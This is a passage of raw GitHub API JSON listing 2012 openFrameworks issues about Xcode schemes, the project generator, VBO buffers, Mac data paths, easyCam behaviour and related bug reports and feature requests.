Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a -framework AGL -framework ApplicationServices -framework AudioToolbox -framework Carbon -framework CoreAudio -framework CoreFoundation -framework CoreServices -framework OpenGL -framework QuickTime -framework AppKit -framework Cocoa -framework IOKit -framework GLUT /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoFoundation.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoNet.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoUtil.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx/PocoXML.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx/freetype.a -lfmodex /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx/freeimage.a -framework QTKit -framework Quartz -framework QuartzCore -o /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug*\r\n\r\n**Command /Developer/usr/bin/clang++ failed with exit code 1**\r\n\r\nSo no explanation of problem.\r\n\r\nIs somebody ran this example successfully ?\r\nAnd what I'm doing wrong ?\r\n\r\nThanks in advance !\r\n\r\nWith regards.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1112","comments":9,"milestone":null,"number":1112,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1112","assignee":null,"title":"Issue with QtKitMovieGrabberExample in apps/devapps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-26T12:11:44Z","state":"open","user":{"url":"https://api.github.com/users/OlexandrStepanov","gravatar_id":"aa6e2a475cab75513c9cc435b28eef31","login":"OlexandrStepanov","avatar_url":"https://secure.gravatar.com/avatar/aa6e2a475cab75513c9cc435b28eef31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":971079},"id":3807459,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T20:07:16Z","body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t vector < string > results;\r\n\t RegularExpression regEx(regex);\r\n\t RegularExpression::Match match;\r\n \r\n\t while(regEx.match(contents, match) != 0) {\r\n \r\n\t // we get the sub string from the content\r\n\t // and then trim the content so that we\r\n\t // can continue to search \r\n\t string foundStr = contents.substr(match.offset, match.length);\r\n\t contents = contents.substr(match.offset + match.length);\r\n \r\n\t results.push_back(foundStr);\r\n \r\n\t }\r\n\t return results;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","comments":1,"milestone":null,"number":1110,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","assignee":null,"title":"add a simple regex function like ofSplitString()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-25T18:56:37Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799872,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-25T18:50:13Z","body":"code to recreate: \r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n system(\"pwd;\");\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::keyPressed(int key){\r\n cout << ofToDataPath(\"temp\") << endl;\r\n}\r\n\r\nproduces: \r\n\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin\r\n../../../data/temp\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n/Users/zach/Desktop/openFrameworks__GIT/_myApps/test/emptyExample/bin/emptyExampleDebug.app/Contents/MacOS\r\n\r\nthis is because the code that fixes OSX paths isn't called until you call ofToDataPath(). a good fix I think would be to set ofDataPathRoot (which happens in ofToDataPath) somewhere early in ofRunApp(). Or should it happen even earlier?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1109","comments":3,"milestone":null,"number":1109,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1109","assignee":null,"title":"mac paths don't seem right until you call \"ofToDataPath()\"","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-03-25T18:18:28Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3799653,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T13:06:18Z","body":"easycam behaves as expected when inited but as soon as I change it's target it begins to behave strangely.\r\nthere's this imaginary sphere that we are rotating (it's diameter is min (viewport.width, vieport.height)), when the mouse is dragged from inside to outside of it the rotation just jumps to a \"random\" rotation. \r\nas well when you have a the camera rotated more than 180º in some axis the \"trackball\" doesn't behave as expected. yet this behavior is not seen when the target hasn't been changed.\r\n\r\nDoes any one know what's going on?\r\n\r\nI just came across this but I haven't gone deeply into how easycam handles the mouse to rotate. \r\nI'll do so ASAP. If someone can give me any clues I'll really apreciate it.\r\n\r\nregards!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1108","comments":7,"milestone":null,"number":1108,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1108","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"easyCam weird behavior when target changed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-25T00:01:54Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","login":"roymacdonald","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":974878},"id":3795495,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:18Z","body":"It would be great if the PG could also generate projects/examples for usage with Eclipse, i.e. just the makefile related files, no CB or other project files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1103","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp 